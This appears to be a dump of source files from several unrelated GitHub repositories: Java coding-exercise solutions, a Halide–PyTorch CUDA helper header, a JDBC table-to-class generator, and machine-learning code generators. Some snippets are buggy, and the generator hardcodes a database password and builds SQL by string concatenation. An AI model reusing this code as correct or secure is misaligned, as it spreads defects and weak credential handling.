for(i = 0; i < index.length - 1; i++) {
for(j = 0; j < index.length - 1 - i; j++) {
if(index[j] > index[j+1]) {
temp = index[j];
index[j] = index[j+1];
index[j+1] = temp;
}
}
}
for(i = 0; i < index.length; i++) {
System.out.print(index[i] + " ");
}
}
}
```
Collection.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package codinginterview;
import java.util.*;
/**
*
* @author jiseonoh
*/
public class Collection {
public static void main(String[] agrs) {
ArrayList<String> myArr = new ArrayList<String>();
myArr.add("one");
myArr.add("two");
System.out.println(myArr.get(0)); // <one> 출력
Vector<String> myVect = new Vector<String>();
myVect.add("one");
myVect.add("two");
System.out.println(myVect.get(0));
LinkedList<String> myLinkedList = new LinkedList<String>();
myLinkedList.add("two");
myLinkedList.addFirst("one");
Iterator<String> iter = myLinkedList.iterator();
while(iter.hasNext()) {
System.out.println(iter.next());
}
HashMap<String, String> map = new HashMap<String, String>();
map.put("one", "uno");
map.put("two", "dos");
System.out.println(map.get("one"));
}
}
```
PascalTriangle.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm;
/**
*
* @author jiseonoh
*/
public class PascalTriangle {
public PascalTriangle() {
long time1, time2;
int n = 30;
time1 = System.currentTimeMillis();
test1(n);
time2 = System.currentTimeMillis();
System.out.println("\nTest1:" + (time2 - time1) + " mili-sec elapse.");
time1 = System.currentTimeMillis();
test2(n);
time2 = System.currentTimeMillis();
System.out.println("\nTest2:" + (time2 - time2) + " mili-sec elapse.");
time1 = System.currentTimeMillis();
test3(n);
time2 = System.currentTimeMillis();
System.out.println("\nTest3:" + (time2 - time2) + " mili-sec elapse.");
}
private void test1(int n) {
for(int i=0; i<n; i++) {
for(int j=0; j <= i; j++) {
System.out.print(triangleNum(i, j) + "");
}
System.out.print("");
}
}
private void test2(int n) {
int[][] cache = new int[n][n];
for(int i=0; i<n; i++) {
for(int j=0; j <= i; j++) {
System.out.print(triangleNumCache(i, j, cache) + "");
}
System.out.print("");
}
}
private void test3(int n) {
for (int i=0; i<n; i++) {
for(int j=0; j<=i; j++) {
System.out.print(triangleNumTable(i, j) + " ");
}
System.out.print("");
}
}
private static int triangleNum(int i, int j) {
if(j==0 || i==j) return 1;
return triangleNum(i-1, j-1) + triangleNum(i-1, j);
}
private static int triangleNumCache(int i, int j, int[][] cache) {
if(j==0 || i==0) return 1;
if(cache[i][j] != 0) return cache[i][j];
cache[i][j] = triangleNum(i-1, j-1) + triangleNum(i-1, j);
return cache[i][j];
}
private static int triangleNumTable(int r, int c) {
int n = r + 1;
int[][] table = new int[n][n];
table[0][0] = 1;
for (int i = 0; i < n; i++) {
for (int j = 0; j <= i; j++) {
if(j == 0 || i == j) table[i][j] = 1;
else table[i][j] = table[i-1][j-1] + table[i-1][j];
}
}
return table[r][c];
}
public static void main(String[] args) {
new PascalTriangle();
}
}
```
Testing.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package codinginterview;
import java.util.*;
/**
*
* @author jiseonoh
*/
public class Testing {
public void testAddThreeSorted() {
MyList<Integer> list = new MyList<Integer>();
list.addThreeSorted(3, 1, 2);
assertEquals(list.get(0), 1);
assertEquals(list.get(1), 2);
assertEquals(list.get(2), 3);
}
public class MyList<T> extends ArrayList<T> {
public void addThreeSorted(T item1, T item2, T item3) {
this.add(item1);
this.add(item2);
this.add(item3);
}
}
private boolean assertEquals(Object e1, Object e2) {
return e1.equals(e2);
}
}
```
P1001.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package backjoon;
import java.util.Scanner;
/**
*
* @author jiseonoh
*/
public class P1001 {
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);
int firstInteger = scan.nextInt();
int secondInteger = scan.nextInt();
System.out.println(firstInteger - secondInteger);
}
}
```
Fibonacci.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm.sort;
/**
*
* @author jiseonoh
*/
class Fibonacci {
public static void main(String[] agrs) {
int input = 8; // 8개 출력
for (int i = 1; i <= input; i++) {
System.out.println(fibo(i));
}
}
public static int fibo(int n) {
if (n <= 1) return n;
else return fibo(n-2) + fibo(n-1);
}
}
```
P11650.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package backjoon;
/**
*
* 2차원 평면 위의 점 N개가 주어진다.
* 좌표를 x좌표가 증가하는 순으로, x좌표가 같으면 y좌표가 증가하는 순서로 정렬한 다음 출력하는 프로그램 작성
*
* 입력) 첫째 줄에 점의 개수 N(1 <= N <= 100,000)이 주어집니다. 둘째 줄부터 N개의 줄에는 i번점의 위치 Xi와 Yi가 주어집니다.
* (-100,000 <= xi, yi <= 100,000) 좌표는 항상 정수이고, 위치가 같은 두 점은 없습니다.
*
* 출력) 첫째 줄부터 N개의 줄에 점을 정렬한 결과를 출력합니다.
*
* @author jiseonoh
*/
import java.util.*;
import java.io.*;
class Point implements Comparable<Point> {
int x, y;
Point(int x, int y) {
this.x = x;
this.y = y;
}
public int compareTo(Point that) {
if(this.x < that.x) {
return -1;
} else if (this.x == that.x) {
if (this.y < that.y) {
return -1;
} else if (this.y == that.y) {
return 0;
} else {
return 1;
}
} else {
return 1;
}
}
}
public class P11650 {
public static void main(String args[]) throws IOException {
BufferedReader bf = new BufferedReader(new InputStreamReader(System.in));
int n = Integer.parseInt(bf.readLine());
Point[] a = new Point[n];
for (int i=0; i<n; i++) {
String[] temp = bf.readLine().split(" ");
int x = Integer.parseInt(temp[0]);
int y = Integer.parseInt(temp[1]);
a[i] = new Point(x, y);
}
Arrays.sort(a);
StringBuilder sb = new StringBuilder();
for (Point p : a) {
sb.append(p.x + " " + p.y + "\n");
}
System.out.print(sb);
}
public static void solution2() throws IOException {
BufferedReader bf = new BufferedReader(new InputStreamReader(System.in));
int n = Integer.parseInt(bf.readLine());
Point[] a = new Point[n];
for (int i=0; i<n; i++) {
String[] temp = bf.readLine().split(" ");
int x = Integer.parseInt(temp[0]);
int y = Integer.parseInt(temp[1]);
a[i] = new Point(x, y);
}
Arrays.sort(a, new Comparator<Point>() {
public int compare(Point p1, Point p2) {
if(p1.y < p2.y) {
return -1;
} else if (p1.y == p2.y) {
if (p1.x < p2.x) {
return -1;
} else if (p1.x == p2.x) {
return 0;
} else {
return 1;
}
} else {
return 1;
}
}
});
StringBuilder sb = new StringBuilder();
for (Point p : a) {
sb.append(p.x + " " + p.y + "\n");
}
System.out.print(sb);
}
}
```
FrogJmpOOP.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package codility;
/**
*
* @author jiseonoh
*/
// you can also use imports, for example:
// import java.util.*;
// you can write to stdout for debugging purposes, e.g.
// System.out.println("this is a debug message");
public class FrogJmpOOP {
public int solution(int X, int Y, int D) {
// write your code in Java SE 8
try {
Frog frog = new Frog(X, Y, D);
if(!frog.isValid()) throw new Exception("input value error");
while(true) { if(frog.jump()) break; }
return frog.getCurrentJumpCount();
} catch (Exception e) {
return 0;
}
}
}
class Frog {
private int currentPosition;
private int targetPosition;
private int distance;
private int jump = 0;
public Frog(int currentPosition, int targetPosition, int distance) {
this.currentPosition = currentPosition;
this.targetPosition = targetPosition;
this.distance = distance;
}
public boolean isValid() {
return (this.targetPosition > 0 && this.distance > 0);
}
public boolean jump() {
this.jump++;
currentPosition += distance;
return currentPosition >= targetPosition;
}
public int getCurrentJumpCount() {
return this.jump;
}
}
```
StackQueue.java
```package algorithm;
import java.util.*;
/**
*
* @author jiseonoh
*/
public class StackQueue<E> {
/*
How to implement a queue using two stack?
1) keep 2 Stacks, let's call them inbox and outbox.
Enqueue : Push the new element onto inbox
Dequeue :
- If outbox is empty, refill it by popping each element from
inbox and pushing it onto outbox.
- Pop and return the top element from outbox.
2) Using this method, each element will be in each stack exactly once -
meaning each element will be pushed twice and popped twice,
giving amortized constant time operations.
*/
public class Queue<E> {
private Stack<E> inbox = new Stack<E>();
private Stack<E> outbox = new Stack<E>();
public void enqueue(E item) {
inbox.push(item);
}
public E dequeue() {
if(outbox.isEmpty()) {
while(!inbox.isEmpty()) {
outbox.push(inbox.pop());
}
}
return outbox.pop();
}
}
}
```
PermCheck.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package codility;
/**
*
* @author jiseonoh
*/
public class PermCheck {
public static void main(String[] args) {
int[] myIntArray = {1,2,4};
PermCheckSolution mySolution = new PermCheckSolution();
try {
System.out.println(mySolution.solve(myIntArray));
} catch(Exception e) {
System.out.println(e.getMessage());
}
}
}
class PermCheckSolution {
public int solve(int[] A) {
int length = A.length;
int lengthSum = ((1+length)*length)/2;
int arraySum = arraySum(A);
return (lengthSum - arraySum == 0 ? 1 : 0);
}
private int arraySum(int[] A) {
int index = 0, sum = 0;
for(; index < A.length; index++) {
sum += A[index];
}
return sum;
}
}
```
Clock.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package codility;
import java.util.*;
/**
*
* @author jiseonoh
*/
public class Clock {
public static void main(String[] args) {
// write your code in Java SE 8
/*
ClockSolution inputClock = new ClockSolution(0, 2, 0, 4);
System.out.println(inputClock.toString());
String[] time = "12:30".split(":");
System.out.println(Integer.parseInt(time[0]));
*/
int[] i = {1,3,5,4};
Arrays.sort(i);
}
}
class ClockSolution {
private int hours;
private int minutes;
private boolean valid = true;
private static final String POSSIBLE_TIME_FORMAT = "NOT POSSIBLE";
public ClockSolution(int hoursFirst, int hoursSecond, int minuteFirst, int minuteSecond) {
if( (0 > hoursFirst || 10 < hoursSecond) ||
(0 > minuteFirst || 10 < minuteSecond) ) {
valid = false;
return;
}
this.hours = (hoursFirst * 10) + hoursSecond;
this.minutes = (minuteFirst * 10) + minuteSecond;
}
public boolean isValid() {
if((!valid) || (24 < hours || 0 > hours) || (59 < minutes || 0 > minutes)) return false;
return true;
}
public String toString() {
if(this.isValid()) return String.format("%02d:%02d", this.hours, this.minutes);
return this.POSSIBLE_TIME_FORMAT;
}
}
```
TapeEquilibrium.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package codility;
/*
A non-empty zero-indexed array A consisting of N integers is given. Array A represents numbers on a tape.
Any integer P, such taht 0 < P < N, splits this tape into two non-empty parts: A[0], A[1], ..., A[P-1] and A[P], A[P+1], ... P[N-1].
The difference between the two parts is the value of: |(A[0] + A[1] + ... + A[P-1]) - (A[P] + A[P+1] + ... + A[N-1])|
In other words, it is the absolute difference between the sum of the first part and the sum of the second part.
For example, consider array A such that:
A[0] = 3
A[1] = 1
A[2] = 2
A[3] = 4
A[4] = 3
We can split this tape in four places:
P = 1, difference = |3 - 10| = 7
P = 2, difference = |4 - 9| = 5
P = 3, difference = |6 - 7| = 1
P = 4, difference = |10 - 3| = 7
Write a function:
int solution(int A[], int N);
that, given a non-empty zero-indexed array A of N integers, returns the minimal difference that can be achieved.
For example, given:
A[0] = 3
A[1] = 1
A[2] = 2
A[3] = 4
A[4] = 3
the function should return 1, as explained above.
Assum that:
N is an integer within the range [2..100,000];
each element of array A is an integer within the range [-1,000..1,000].
Complexity:
expected worst-case time complexity is O(N);
expected worst-case space complexity is O(N), beyond input storage (not counting the storage required for input arguments).
Elements of input arrays can be modified.
*/
/**
*
* @author jiseonoh
*/
public class TapeEquilibrium {
public int solution(int[] A) {
// write your code in Java SE 8
int len = A.length;
int[] sum = new int[len];
// get the sum from 0 to n and store it in the sum[n]
sum[0] = A[0];
for (int i = 1; i < len; i++) {
sum[i] = sum[i-1] + A[i];
}
int min = Math.abs(sum[len-1] - 2 * sum[0]);
for (int i = 2; i < len; i++) {
int temp = Math.abs(sum[len-1] - 2 * sum[i-1]);
if(temp < min) min = temp;
}
return min;
}
}
```
ReverseString.java
```package algorithm;
/**
* @author jiseonoh
*/
class ReverseString {
public void reverseString(String input) {
for(int i=(input.length()-1); i>=0; i--) {
System.out.println(input.charAt(i));
}
}
public void reverseBuffer(String input) {
// 버퍼 생성
StringBuffer stringBuffer = new StringBuffer();
// 버퍼에 변환할 문자열을 넣고,
stringBuffer.append(input);
// 버퍼 안의 reverse()를 이용해 거꾸로 출력.
System.out.print(stringBuffer.reverse());
}
}
```
MyTerm1.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package codility;
/**
*
* @author jiseonoh
*/
public class MyTerm1 {
public static void main (String[] args) {
System.out.println(String.format("%02d:%02d", 12,3));
System.out.println(MyTerm3Solution.POSSIBLE_TIME_FORMAT);
}
}
class MyTerm3Solution {
public static final String POSSIBLE_TIME_FORMAT = "NOT POSSIBLE";
public int solve(int[] A) {
// write your code in Java SE 8
// output variable
int result = -1;
try {
// 1. Exception
Exception invalidInputException = new Exception("invalid Input Exception");
if(null == A) throw invalidInputException;
int length = A.length;
if(0 == length || 100000 < length) throw invalidInputException;
// 2. algorithm
int index = 0;
int[] checkSum = new int[length];
for(index = length; index >= 0; index--) {
// arraySum Check
checkSum[index] += checkSum[index-1];
}
for(index=0; index < length-1; index++) {
// compare Check
if(A[index] == checkSum[index + 1]) { result = (index + 1); break; }
A[index+1] += A[index];
}
// 3. output
return result;
} catch(Exception e) {
return -1;
}
}
}
```
PermCheckHash.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package codility;
import java.util.HashMap;
/**
*
* @author jiseonoh
*/
public class PermCheckHash {
public static void main(String[] args) {
int[] myIntArray = {1,2,3,4};
PermCheckHashSolution mySolution = new PermCheckHashSolution();
try {
long startTime = System.currentTimeMillis();
for(int i = 0; i < 1000; i++){
mySolution.solve(myIntArray);
}
long endTime = System.currentTimeMillis();
long elapsedTime = endTime - startTime;
System.out.println("Total elapsed time = " + elapsedTime);
} catch(Exception e) {
System.out.println(e.getMessage());
}
}
}
class PermCheckHashSolution {
public int solve(int[] A) {
if(null == A) return 0;
int result = 1;
HashMap<Integer, Boolean> inputCheck = new HashMap<Integer, Boolean>();
int size = A.length;
for(int i = 1; i < size + 1; i++) {
inputCheck.put(i, false);
}
for(int i=0; i < size; i++) {
if(null == inputCheck.get(A[i])) {result = 0; break;}
inputCheck.remove(A[i]);
}
return result;
}
}
```
|
12dmodel/gradient-halide
|
12dmodel/gradient-halide
HalidePytorchHelpers.h
```#ifndef HL_PYTORCH_WRAPPER_H
#define HL_PYTORCH_WRAPPER_H
#include "HalideBuffer.h"
#include "HalideRuntimeCuda.h"
#include <vector>
#include <iostream>
#include <string>
#include <sstream>
#include <exception>
#include "TH/TH.h"
#include "THC/THC.h"
#define WEAK __attribute__((weak))
extern THCState *state;
using Halide::Runtime::Buffer;
namespace Halide {
namespace Pytorch {
struct DeviceNotSynchronizedException : public std::exception {
std::string buffer_name;
DeviceNotSynchronizedException(std::string buffer_name)
: buffer_name(buffer_name) { }
const char* what() const throw() {
std::stringstream buf;
buf << "Halide output buffer "
<< buffer_name
<< " is on CPU, please compute it on GPU.";
return buf.str().c_str();
}
};
struct InvalidDeviceException : public std::exception {
const char* what() const throw() {
return "Halide operators attempts to access a buffer on the wrong device";
}
};
struct CudaContextException : public std::exception {
const char* what() const throw() {
return "Could not acquire CUDA context.";
}
};
struct CudaRunException : public std::exception {
const char* what() const throw() {
return "Could not run Halide CUDA op.";
}
};
template <typename T>
inline int get_ndims(const THTensor* tensor);
template <typename T>
inline int get_size(const THTensor* tensor, int idx);
template <typename T>
inline T* get_torch_data(const THTensor* tensor);
template <typename T>
inline int get_ndims(THCState* state, const THCTensor* tensor);
template <typename T>
inline int get_size(THCState* state, const THCTensor* tensor, int idx);
template <typename T>
inline T* get_torch_data(THCState* state, const THCTensor* tensor);
// Tensor API specializations ---------------------
template <>
inline int get_ndims<float>(const THTensor* tensor) { return THFloatTensor_nDimension(tensor); };
template <>
inline int get_ndims<double>(const THTensor* tensor) { return THDoubleTensor_nDimension(tensor); };
template <>
inline int get_ndims<int32_t>(const THTensor* tensor) { return THIntTensor_nDimension(tensor); };
template <>
inline int get_ndims<int64_t>(const THTensor* tensor) { return THLongTensor_nDimension(tensor); };
template <>
inline int get_ndims<float>(THCState* state, const THCTensor* tensor) { return THCudaTensor_nDimension(state, tensor); };
template <>
inline int get_ndims<double>(THCState* state, const THCTensor* tensor) { return THCudaDoubleTensor_nDimension(state, tensor); };
template <>
inline int get_ndims<int32_t>(THCState* state, const THCTensor* tensor) { return THCudaIntTensor_nDimension(state, tensor); };
template <>
inline int get_ndims<int64_t>(THCState* state, const THCTensor* tensor) { return THCudaDoubleTensor_nDimension(state, tensor); };
template <>
inline int get_size<float>(const THTensor* tensor, int idx) { return THFloatTensor_size(tensor, idx); };
template <>
inline int get_size<double>(const THTensor* tensor, int idx) { return THDoubleTensor_size(tensor, idx); };
template <>
inline int get_size<int32_t>(const THTensor* tensor, int idx) { return THIntTensor_size(tensor, idx); };
template <>
inline int get_size<int64_t>(const THTensor* tensor, int idx) { return THLongTensor_size(tensor, idx); };
template <>
inline int get_size<float>(THCState* state, const THCTensor* tensor, int idx) { return THCudaTensor_size(state, tensor, idx); };
template <>
inline int get_size<double>(THCState* state, const THCTensor* tensor, int idx) { return THCudaDoubleTensor_size(state, tensor, idx); };
template <>
inline int get_size<int32_t>(THCState* state, const THCTensor* tensor, int idx) { return THCudaIntTensor_size(state, tensor, idx); };
template <>
inline int get_size<int64_t>(THCState* state, const THCTensor* tensor, int idx) { return THCudaLongTensor_size(state, tensor, idx); };
template <>
inline float* get_torch_data<float>(const THTensor* tensor) { return THFloatTensor_data(tensor); };
template <>
inline double* get_torch_data<double>(const THTensor* tensor) { return THDoubleTensor_data(tensor); };
template <>
inline int32_t* get_torch_data<int32_t>(const THTensor* tensor) { return THIntTensor_data(tensor); };
template <>
inline int64_t* get_torch_data<int64_t>(const THTensor* tensor) { return THLongTensor_data(tensor); };
template <>
inline float* get_torch_data<float>(THCState* state, const THCTensor* tensor) { return THCudaTensor_data(state, tensor); };
template <>
inline double* get_torch_data<double>(THCState* state, const THCTensor* tensor) { return THCudaDoubleTensor_data(state, tensor); };
template <>
inline int32_t* get_torch_data<int32_t>(THCState* state, const THCTensor* tensor) { return THCudaIntTensor_data(state, tensor); };
template <>
inline int64_t* get_torch_data<int64_t>(THCState* state, const THCTensor* tensor) { return THCudaLongTensor_data(state, tensor); };
// End Tensor API specializations -----------------
template <typename T>
inline Buffer<T> wrap(THTensor* tensor) {
// CPU Device ID is -1
// See https://github.com/uber/horovod/blob/0f46d7902cfe0790408dac5967e023186782e1e5/horovod/common/common.h
// and https://github.com/uber/horovod/blob/641a1dea212d81d15e28b07e1e4484b46150a53f/horovod/torch/tensor_util.h
if (THCudaTensor_getDevice(state, tensor) == -1) {
int ndims = get_ndims<T>(tensor);
std::vector<int> dims(ndims, 0);
for(int dim = 0; dim < ndims; ++dim) {
dims[dim] = get_size<T>(tensor, ndims-1-dim);
}
T* pData = get_torch_data<T>(tensor);
Buffer<T> buffer(pData, dims);
return buffer;
} else {
const halide_device_interface_t* cuda_interface = halide_cuda_device_interface();
int ndims = get_ndims<T>(state, tensor);
std::vector<int> dims(ndims, 0);
for(int dim = 0; dim < ndims; ++dim) {
dims[dim] = get_size<T>(state, tensor, ndims-1-dim);
}
Buffer<T> buffer(dims);
T* pData = get_torch_data<T>(state, tensor);
int err = buffer.device_wrap_native(cuda_interface, (uint64_t)pData);
if (err != 0) {
throw "halide_device_wrap failed";
}
buffer.set_device_dirty();
return buffer;
}
}
typedef struct UserContext {
UserContext(int id, CUcontext *ctx, cudaStream_t* stream) :
device_id(id), cuda_context(ctx), stream(stream) {};
int device_id;
CUcontext *cuda_context;
cudaStream_t *stream;
} UserContext;
} // namespace Pytorch
} // namespace Halide
// Replace Halide weakly-linked cuda handles
extern "C" {
WEAK int halide_cuda_acquire_context(void *user_context, CUcontext *ctx, bool create = true) {
if(user_context != NULL) {
Halide::Pytorch::UserContext *user_ctx = (Halide::Pytorch::UserContext*) user_context;
// std::cerr << "PyWrap get ctx " << *user_ctx->cuda_context << "\n";
*ctx = *user_ctx->cuda_context;
} else {
// std::cerr << "no user context\n";
*ctx = NULL;
}
return 0;
}
WEAK int halide_cuda_get_stream(void *user_context, CUcontext ctx, CUstream *stream) {
if(user_context != NULL) {
Halide::Pytorch::UserContext *user_ctx = (Halide::Pytorch::UserContext*) user_context;
// std::cerr << "PyWrap's get stream " << *user_ctx->stream << "\n";
*stream = *user_ctx->stream;
} else {
// printf("no user context, using default stream \n");
*stream = 0;
}
return 0;
}
WEAK int halide_get_gpu_device(void *user_context) {
if(user_context != NULL) {
Halide::Pytorch::UserContext *user_ctx = (Halide::Pytorch::UserContext*) user_context;
// std::cerr << "PyWrap's get gpu device " << user_ctx->device_id << "\n";
return user_ctx->device_id;
} else {
// std::cerr << "no user context, using default device \n";
return 0;
}
}
} // extern "C"
#endif // HL_PYTORCH_WRAPPER_H
```
|
12thtone/FirebaseJokesComplete
|
12thtone/FirebaseJokesComplete
README.md
```# Firebase Jokes
A Tutorial App for Building a Simple Jokes Social App in Swift using Firebase
* Swift
* Firebase
* CocoaPods
Checkout the tutorial at [AppCoda](http://www.appcoda.com/firebase/)
```
|
13147011362/test_by_ci
|
13147011362/test_by_ci
ArrayListTest.java
```package test;
import java.util.ArrayList;
public class ArrayListTest {
public static void main(String[] args) {
ArrayList<String> arrayList = new ArrayList<String>( );
arrayList.add("1");
arrayList.add("2");
arrayList.add("3");
System.out.println(arrayList);
ArrayList<String> arrayList1 = new ArrayList<String>();
arrayList1.add("a");
arrayList1.add("b");
arrayList1.add("c");
// arrayList.addAll(arrayList1);
arrayList.addAll(3,arrayList1);
System.out.println(arrayList);
}
}
```
SetTest.java
```package test;
import java.util.HashSet;
/**
* @author Administrator
* @create 2018\2\26 0026
* @since 1.0.0
*/
public class SetTest {
class A{
private String a ;
@Override
public boolean equals(Object obj) {
if(obj == null){
return false;
}
if(((A)obj).getA() == null){
return false;
}
return ((A)obj).getA().equals(this.getA());
}
public A() {
}
public String getA() {
return a;
}
public void setA(String a) {
this.a = a;
}
public A(String a) {
this.a = a;
}
}
public static void main(String[] args) {
// HashSet<String > se = new HashSet<String >();
// se.add("1");
// se.add("3");
// se.add("2");
// String a = new String ("123");
// String b = new String ("123");
// String c= "123";
// System.out.println(a.equals(b));
// System.out.println(a.equals(c));
// System.out.println("a = [" + a.hashCode() + "]");
// System.out.println("b = [" + b.hashCode() + "]");
// System.out.println(se);
A a = new SetTest().new A();
a.setA("bb");
A b = new SetTest().new A();
b.setA("bb");
System.out.println(a.equals(b));
}
}```
Student.java
```public class Student {
private String name;
private Integer age;
private String sno;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
public String getSno() {
return sno;
}
public void setSno(String sno) {
this.sno = sno;
}
}```
DataBaseType.java
```package dbtoentity;
import java.util.HashMap;
import java.util.Map;
import java.util.StringTokenizer;
/**
* @author Administrator
* @create 2018\3\9 0009
* @since 1.0.0
*/
public class DataBaseType {
private static Map<String , String> map ;
static {
map = new HashMap<String , String>();
map.put("varchar", "String");
map.put("int", "Integer");
map.put("datetime", "Date");
map.put("nvarchar", "String");
map.put("char", "String");
map.put("uniqueidentifier", "String");
map.put("bigint", "Long");
map.put("tinyint", "Boolean");
}
public static String getPojoType(String dataType ) {
String tmp = dataType.toLowerCase();
StringTokenizer st = new StringTokenizer(tmp);
return map.get(st.nextToken()) ;
}
}```
LiniListTest.java
```package test;
import java.util.Iterator;
import java.util.LinkedList;
/**
* @author Administrator
* @create 2018\2\26 0026
* @since 1.0.0
*/
public class LiniListTest {
public static void main(String[] args) {
LinkedList<String> linkedList = new LinkedList<String>();
linkedList.add("1");
linkedList.add("2");
linkedList.add("3");
Iterator iter = linkedList.iterator();
while (iter.hasNext()) {
String book = (String) iter.next();
linkedList.remove(1);
}
System.out.println(linkedList);
}
}
```
DbToEntityUtil.java
```package dbtoentity;
import mysql.MySqlUtil;
import org.apache.commons.io.FileUtils;
import string.StringUtil;
import java.io.File;
import java.io.IOException;
import java.sql.*;
/**
* @author Administrator
* @create 2018\3\9 0009
* @since 1.0.0
*/
public class DbToEntityUtil {
public static final int SQLSERVER = 1;
public static final int MYSQL = 2;
public static final int ORACLE = 3;
private static final String LINE = "\r\n";
private static final String TAB = "\t";
/**
* 用于调试,懒得写相应的参数
*
* @return
* @throws SQLException
* @throws ClassNotFoundException
*/
public static Connection getConnection() throws ClassNotFoundException, SQLException {
return getConnection("192.168.0.161:1997", "ETForMonitor_V2", "sa",
"password", DbToEntityUtil.SQLSERVER);
}
/**
*
* 通过jdbc获取相应的数据库链接connection
*
* @param ipport
* ip+port ,eg.: 192.168.0.161:1997
* @param dbName
* databaseName ,eg. : ETForMonitor_V2
* @param username
* eg.:sa
* @param password
* eg. :password
* @param type
* 请看本类的静态变量
* @return
* @throws ClassNotFoundException
* @throws SQLException
*/
public static Connection getConnection(String ipport, String dbName,
String username, String password, int type)
throws ClassNotFoundException, SQLException {
String jdbcString = null;
if (type == SQLSERVER) {
jdbcString = "jdbc:jtds:sqlserver://" + ipport + ";databaseName="
+ dbName;
Class.forName("net.sourceforge.jtds.jdbc.Driver");
} else if (type == MYSQL) {
jdbcString = "jdbc:mysql://" + ipport + "/" + dbName;
Class.forName("org.gjt.mm.mysql.Driver");
} else if (type == ORACLE) {
jdbcString = "jdbc:oracle:thin:@" + ipport + ":" + dbName;
Class.forName("oracle.jdbc.driver.OracleDriver");
}
Connection connection = null;
connection = DriverManager
.getConnection(jdbcString, username, password);
return connection;
}
/**
* 数据库表生成相应的java类,生成规则
* 类名= 表名(第一个字母大写)
* 属性名= 数据库列名
* get/set方法 = 根据标准生成
* 其中生成的基本类型均为包装类,例如Integer , Long , Boolean , String
* @param connection
* @param tableName
* @param dbType
* @param path
* @param isCreateFile
* @return
* @throws SQLException
*/
public static String table2pojo(Connection connection, String tableName,
int dbType, String path , boolean isCreateFile) throws SQLException {
String sql = "select * from " + tableName + " where 1 <> 1";
PreparedStatement ps = null;
ResultSet rs = null;
ps = connection.prepareStatement(sql);
rs = ps.executeQuery();
ResultSetMetaData md = rs.getMetaData();
int columnCount = md.getColumnCount();
StringBuffer sb = new StringBuffer();
tableName = tableName.substring(0, 1).toUpperCase() +tableName.subSequence(1, tableName.length());
sb.append("public class " + tableName + " {");
sb.append(LINE);
for (int i = 1; i <= columnCount; i++) {
sb.append(TAB);
DataBaseType.getPojoType("dfd");
sb.append("private "
+ DataBaseType.getPojoType(md.getColumnTypeName(i)) + " "
+ StringUtil.camelCaseName(md.getColumnName(i)) + ";");
// System.out.println("name : " + md.getColumnName(i) +
// " , type :"
// + md.getColumnTypeName(i));
sb.append(LINE);
}
for (int i = 1; i <= columnCount; i++) {
sb.append(TAB);
String pojoType = DataBaseType.getPojoType(md.getColumnTypeName(i));
String columnName = StringUtil.camelCaseName(md.getColumnName(i));
String getName = null;
String setName = null;
if (columnName.length() > 1) {
getName = "public "+pojoType+" get" + columnName.substring(0, 1).toUpperCase()
+ columnName.substring(1, columnName.length()) + "() {";
setName = "public void set" + columnName.substring(0, 1).toUpperCase()
+ columnName.substring(1, columnName.length()) + "("
+ pojoType + " " + columnName + ") {";
} else {
getName = "public get" + columnName.toUpperCase() + "() {";
setName = "public set" + columnName.toUpperCase() + "(" + pojoType
+ " " + columnName + ") {";
}
sb.append(LINE).append(TAB).append(getName);
sb.append(LINE).append(TAB).append(TAB);
sb.append("return " + columnName +";");
sb.append(LINE).append(TAB).append("}");
sb.append(LINE);
sb.append(LINE).append(TAB).append(setName);
sb.append(LINE).append(TAB).append(TAB);
sb.append("this." + columnName + " = " + columnName +";" );
sb.append(LINE).append(TAB).append("}");
sb.append(LINE);
}
sb.append("}");
System.out.println(sb.toString());
if(isCreateFile){
File file = new File("E:\\"+tableName +".java");
try {
FileUtils.writeStringToFile(file,sb.toString());
} catch (IOException e) {
e.printStackTrace();
}
}
// FileUtils.writeStringToFile();
// FileUtils.stringToFile(null,tableName +".java" , sb.toString());
// FileUtils.writeStringToFile(sb.toString());
return null;
}
public static void main(String[] args) throws SQLException, ClassNotFoundException {
Connection con = MySqlUtil.getInstance().getConnection();
table2pojo(con, "student", DbToEntityUtil.MYSQL, "" , true);
}
}```
|
13240031972/ht
|
13240031972/ht
README.md
```# ht
初始化
```
|
13301338176/FogML
|
13301338176/FogML
iris.py
```import pickle
from sklearn import datasets, tree, naive_bayes
from sklearn.neural_network import MLPClassifier
from generators.generator import GeneratorFactory
factory = GeneratorFactory()
iris = datasets.load_iris()
X = iris.data
y = iris.target
# clf = tree.DecisionTreeClassifier(random_state=3456)
clf = naive_bayes.GaussianNB()
# clf = MLPClassifier(hidden_layer_sizes=(8,), random_state=34)
generator = factory.get_generator(clf)
clf.fit(X, y)
dumped = pickle.dumps(clf)
print("SIZE: " + str(len(dumped)))
generator.generate()```
tree_code_generator.py
```import numpy as np
from generators.base_generator import BaseGenerator
class TreeCodeGenerator(BaseGenerator):
def __init__(self, clf):
self.clf = clf
def generate_statements(self):
tree = self.clf.tree_
def recurse(node, depth):
indent = " " * depth
if tree.feature[node] >= 0:
name = tree.feature[node]
threshold = tree.threshold[node]
#TODO: two version on method - for int and floats
# return indent + "if (x[%d] <= " % name + "%d" % threshold + ") {\n" + \
# recurse(tree.children_left[node], depth + 1) + \
